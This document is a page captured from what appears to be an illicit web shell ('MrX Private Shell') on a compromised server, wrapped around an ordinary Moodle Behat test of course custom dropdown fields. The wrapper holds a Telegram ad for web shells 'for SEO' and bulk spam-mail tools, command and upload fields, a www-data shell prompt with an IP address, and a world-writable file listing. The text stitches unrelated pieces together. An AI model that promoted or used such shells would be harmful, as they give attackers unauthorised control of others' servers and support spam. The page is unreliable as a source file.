__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@customfield @customfield_select @javascript
Feature: Managers can manage course custom fields select
  In order to have additional data on the course
  As a manager
  I need to create, edit, remove and sort custom fields

  Background:
    Given the following "custom field categories" exist:
      | name              | component   | area   | itemid |
      | Category for test | core_course | course | 0      |
    And I log in as "admin"
    And I navigate to "Courses > Default settings > Course custom fields" in site administration

  Scenario: Create a custom course select field
    When I click on "Add a new custom field" "link"
    And I click on "Dropdown menu" "link"
    And I set the following fields to these values:
      | Name       | Test field |
      | Short name | testfield  |
    And I set the field "Menu options (one per line)" to multiline:
    """
    a
    b
    """
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    Then I should see "Test field"
    And I log out

  Scenario: Edit a custom course select field
    When I click on "Add a new custom field" "link"
    And I click on "Dropdown menu" "link"
    And I set the following fields to these values:
      | Name       | Test field |
      | Short name | testfield  |
    And I set the field "Menu options (one per line)" to multiline:
    """
    a
    b
    """
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    And I click on "Edit" "link" in the "Test field" "table_row"
    And I set the following fields to these values:
      | Name | Edited field |
    And I click on "Save changes" "button" in the "Updating Test field" "dialogue"
    Then I should see "Edited field"
    And I should not see "Test field"
    And I log out

  Scenario: Delete a custom course select field
    When I click on "Add a new custom field" "link"
    And I click on "Dropdown menu" "link"
    And I set the following fields to these values:
      | Name       | Test field |
      | Short name | testfield  |
    And I set the field "Menu options (one per line)" to multiline:
    """
    a
    b
    """
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    And I click on "Delete" "link" in the "Test field" "table_row"
    And I click on "Yes" "button" in the "Confirm" "dialogue"
    Then I should not see "Test field"
    And I log out

  Scenario: Validation of custom course select field configuration
    When I click on "Add a new custom field" "link"
    And I click on "Dropdown menu" "link"
    And I set the following fields to these values:
      | Name       | Test field |
      | Short name | testfield  |
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    And I should see "Please provide at least two options, with each on a new line." in the "Menu options (one per line)" "form_row"
    And I set the field "Menu options (one per line)" to multiline:
    """
    a
    b
    """
    And I set the field "Default value" to "c"
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    And I should see "The default value must be one of the options from the list above" in the "Default value" "form_row"
    And I set the field "Default value" to "b"
    And I click on "Save changes" "button" in the "Adding a new Dropdown menu" "dialogue"
    And "testfield" "text" should exist in the "Test field" "table_row"
    And I log out

Filemanager

Name Type Size Permission Actions
field.feature File 3.45 KB 0777
Filemanager